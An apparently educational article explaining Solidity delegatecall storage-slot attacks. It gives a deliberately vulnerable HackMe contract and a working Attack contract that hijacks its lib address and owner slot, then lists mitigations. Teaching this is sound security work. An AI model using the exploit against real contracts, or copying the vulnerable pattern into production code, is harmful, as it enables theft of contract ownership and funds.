visit
delegatecall
attacks in smart contracts are fundamentally an exploitation of the delegatecall
feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨
This highlights the need for careful consideration in the design of smart contracts, especially when using delegatecall
for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple delegatecall
attack example and how to prevent such attacks. 🛡️
delegatecall
Attack 🧐Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to delegatecall
to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩💻
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}
// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}
Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The hackMe.doSomething(uint(uint160(address(this))));
statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄
This calls the lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯
Due to delegatecall
's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀
The hackMe.doSomething(1);
triggers a second delegatecall
to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄
The second delegatecall
actually calls the owner = msg.sender;
in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚
Again, due to delegatecall
's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩
delegatecall
Attacks 🛡️
Maintain storage layout consistency between the contract using delegatecall
and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱
Use proxy contracts where the proxy contains little logic and forwards function calls via delegatecall
to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉
Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving delegatecall
. 🔐
That's all for this discussion on delegatecall
vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍